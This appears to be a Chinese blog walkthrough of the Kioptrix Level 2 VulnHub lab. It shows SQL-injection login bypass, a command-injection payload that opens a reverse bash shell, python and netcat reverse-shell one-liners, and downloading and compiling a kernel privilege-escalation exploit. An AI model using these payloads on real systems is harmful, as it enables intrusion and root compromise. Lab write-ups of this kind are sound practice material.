vulnhub:Kioptrix level 2

0x00、环境下载

链接:https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

0x01、前期准备

1.1、检查文件

hash值对比无误后解压

1.2、编辑虚拟机网卡

当不支持桥接时候,如练WiFi无无线网卡

方法1: 修改type为nat

方法2:将包含ethernet0的行删除,导入虚拟机(在0x03有说明)后新增一个网卡配置为nat

1.3、导入靶机

0x02、打点、信息收集

2.1、探索目标主机

扫描网段发现目标主机,方法有很多,例如

  • arp-scan 192.168.197.0/24

  • fscan -h 192.168.197.0/24 -hn 192.168.197.131

  • nmap -sn 192.168.197.0/24

  • fping -g 192.168.197.0/24 -a -s -q

-g网段探测 -a显示存活主机 -s打印最后的统计数据 -q安静模式,不输出其他信息

2.2、端口扫描

nmap、fscan等

0x03、渗透测试、漏洞利用

开放了80端口,测试web页面

3.1、万能密码登入(SQL注入)

a. 登录表单直接万能密码登录了:1' or 1=1 #; 即存在sql注入

b. 抓包测试一下:

c. 成功得到user()名长度为14,即可进一步测试,之前文章有py可以遍历(这里接着继续测试,没有其他方法再回过头来)

3.2、网络测试模块存在命令执行

①、命令测试

②、尝试反弹shell

a.target
# 最经典的方法,几乎适用于所有Linux系统
bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
或 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1# 如果 /dev/tcp 被禁用,可以使用其他工具
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'nc -e /bin/bash 10.0.0.1 4444b.attack-10.0.0.1,开启监听
nc -nvlp 4444

③、反弹shell

127.0.0.1;bash -i >& /dev/tcp/192.168.197.131/5555 0>&1

④、攻击端开启监听

nc -lvp 5555

⑤、成功获取到shell

0x04、权限提升

4.1、信息收集

首先改成伪终端方便显示

python -c 'import pty; pty.spawn("/bin/bash")' # 生成伪终端

当前用户

当前用户下可读、写、执行权限的目录有

查看内核

4.2、内核漏洞提权

①、查找该内核可用exp

方法一:searchsploit linux kernel 2.6. |grep -i "local privilege"

方法二:搜素网上资料

②、下载exp

searchsploit -m 9542.c

③、上传exp到靶机

攻击端开启web服务,让靶机下载exp

python -m http.server 9999

wget http://192.168.197.131:9999/9542.c

在靶机上成功下载,攻击机也成功响应

④、在靶机上编译并运行exp获取root权限

修改exp权限,并编译运行,成功获取到root权限

gcc -o exp0 9542.c

⑤、修改root密码,拿下靶机

0x05、总结梳理

总体来说这个靶机较简单适合新手练习,流程步骤如下:

下载靶机--->配置网络--->寻找主机--->端口扫描-nmap--->发现服务--->漏洞扫描/检测 & 渗透测试----> web页面sql注入万能密码---->ping模块--->可命令执行---->反弹bash shell --->获取shell收集靶机信息---->发现目标系统版本使用对应EXP进行提权(注意:exp的下载、编译、执行注意目录文件的权限等)。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/96083.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/96083.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【CentOS7】docker安装成功后测试,报Unable to find image ‘hello-world:latest‘ locally

【CentOS7】docker安装成功测试,报Unable to find image hello-world:latest locally问题描述问题解决问题描述 根据大佬的博文【CentOS7】Linux安装Docker教程(保姆篇),以及结合之前的博文【CentOS7】使用yum安装出错&#xff0…

福彩双色球第2025104期篮球号码分析

明天是2025年9月9号星期二,深圳天气大雨。福彩双色球第2025104期篮球号码分析,上期开出篮球16,数字形式是1路球,合数偶数大号区域1字头数字。篮球1尾数01和11遗漏21期上次遗漏8期上上次遗漏7期,篮球3尾数03和13遗漏18期…

[手写系列]Go手写db — — 第三版(实现分组、排序、聚合函数等)

[手写系列]Go手写db — — 第三版第一版文章地址:https://blog.csdn.net/weixin_45565886/article/details/147839627 第二版文章地址:https://blog.csdn.net/weixin_45565886/article/details/150869791 🏠整体项目Github地址:ht…

狂想-机器人触感阵列理论验证方案

将方案改为使用**限制移动范围的半滚球**作为理论验证原型,是一个极具智慧且可行的降维策略,它将极大降低验证门槛,但同时会牺牲部分性能。### **方案转变后的核心变化**1. **原理替换**:从依赖**光学流**(拍摄表面纹理…

UNBIASED WATERMARK:大语言模型的无偏差水印

摘要1.背景与问题提出大语言模型(LLMs)的快速发展引发了对其可能被滥用的担忧。为降低这种风险,将水印技术融入大语言模型,以实现对模型输出的追踪和溯源成为一种思路。而此前研究认为,水印强度和模型输出质量之间存在…

MySQL——事务、MVCC

目录 什么是事务? 事务的四大特性 事务的隔离级别 事务的原理 redo log undo log MVCC实现原理 概念 隐藏字段 undo log版本链 readview 什么是事务? 事务是一组操作的集合,它是一个不可分割的工作单位,事务会把所有的操…

光伏项目无人机踏勘--如何使用无人机自动航线规划APP

手机号免费注册iSolarBP,一起来学习吧,注册获取无人机航线规划APP https://isolar-bp.sungrowplant.com/isolarbp#/login?qrcodeId1952928161454551042https://isolar-bp.sungrowplant.com/isolarbp#/login?qrcodeId1952928161454551042 登录--下载航…

优先搜索(DFS)实战

目录 一、DFS通用解题思路 二、逐题拆解 三、四题对比 四、总结:DFS解决矩阵问题的“万能模板” 在算法解题中,矩阵连通性问题是高频考点,而深度优先搜索(DFS)是解决这类问题的核心工具之一。它通过“一条路走到…

门控MLP(Qwen3MLP)与稀疏混合专家(Qwen3MoeSparseMoeBlock)模块解析

Qwen3MLP Qwen3MLP是基于门控机制的MLP模块,采用了类似门控线性单元(GLU)的结构。它通过三个线性变换层(gate_proj、up_proj和down_proj)和SiLU激活函数,先将输入从隐藏维度扩展到中间维度,经过…

产线相机问题分析思路

现象:复现问题 原因:问题分析、溯源,定位根本原因; 方案:提出解决方案、规避措施 验证:导入、验证方案是否可行(先小批量、再大批量);一. 现象产线反馈4pcs预览又脏污、划…

【开关电源篇】EMI输入电路-超简单解读

1. 输入电路主要包含哪些元件?滤波设计需遵循什么原则? 输入电路是电子设备(如开关电源)的“入口”,核心作用是抑制电磁干扰(EMI)、保护后级电路,其设计直接影响设备的稳定性和电磁…

胜券POS:打造智能移动终端,让零售智慧运营触手可及

零售企业运营中依然存在重重挑战:收银台前的长队消磨着顾客的耐心,仓库里的库存盘点不断侵蚀着员工的精力,导购培训的成本长期居高不下却收效甚微……面对这些痛点,零售企业或许都在等待一个破局的答案。百胜软件胜券POS&#xff…

(回溯/组合)Leetcode77组合+39组合总和+216组合总和III

为什么不能暴力,因为不知道要循环多少次,如果长度为n,难道要循环n次么,回溯的本质还是暴力,但是是可以知道多少层的暴力 之所以要pop是因为回溯相当于一个树形结构,要pop进行第二个分支 剪枝:…

07 下载配置很完善的yum软件源

文章目录前言ping 测试网络排查原因排查虚拟机的虚拟网络是否开启检查net8虚拟网络和Centos 7的ip地址是否在一个局域网点击虚拟网络编辑器点击更改设置记录net8的虚拟网络地址ip a记录Centos 7的ip地址比较net8和Centos 7的ip地址是否在一个网段解决问题问题解决办法修改net8的…

SpringBoot中添加健康检查服务

问题 今天需要给一个Spring工程添加健康检查。 pom.xml <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-actuator</artifactId> </dependency>application.yml management:endpoints:web:e…

AI工具深度测评与选型指南 - AI工具测评框架及方法论

目录引言&#xff1a;AI工具爆发期的机遇与挑战一、从AI模型到AI工具&#xff1a;核心认知与生态解析1.1 DeepSeek&#xff1a;快速出圈的国产大模型代表1.2 大模型的核心能力与类型划分1.2.1 大模型的三层能力与“双系统”类比1.2.2 生成模型与推理模型的核心差异1.3 AI工具与…

Spring Cloud Alibaba快速入门02-Nacos(中)

文章目录实现注册中心-服务发现模拟掉线远程调用1.订单和商品模块的接口商品服务订单服务2.抽取实体类3.订单服务拿到需要调用服务的ip和端口负载均衡步骤1步骤2步骤3步骤4面试题&#xff1a;注册中心宕机&#xff0c;远程调用还能成功吗&#xff1f;1、调用过;远程调用不在依赖…

【Python】数据可视化之热力图

热力图&#xff08;Heatmap&#xff09;是一种通过颜色深浅来展示数据分布、密度和强度等信息的可视化图表。它通过对色块着色来反映数据特征&#xff0c;使用户能够直观地理解数据模式&#xff0c;发现规律&#xff0c;并作出决策。 目录 基本原理 sns.heatmap 代码实现 基…

如何 正确使用 nrm 工具 管理镜像源

目录 nrm 是啥&#xff1f; nrm 的安装 查看你当前已有的镜像源 怎么切换到目标镜像源 添加镜像源 删除镜像源 测试镜像源速度 nrm 是啥&#xff1f; 镜像源&#xff1a;可以理解为&#xff0c;你访问或下载某jar包或依赖的仓库。 nrm&#xff08;Node Registry Manag…

关于对逾期提醒的定时任务~改进完善

Spring Boot 中实现到期提醒任务的定时Job详解在金融或借贷系统中&#xff0c;到期提醒是常见的功能需求。通过定时任务&#xff0c;可以定期扫描即将到期的借款记录&#xff0c;并生成或更新提醒信息。本文基于提供的三个JobHandler类&#xff08;FarExpireRemindJob、MidExpi…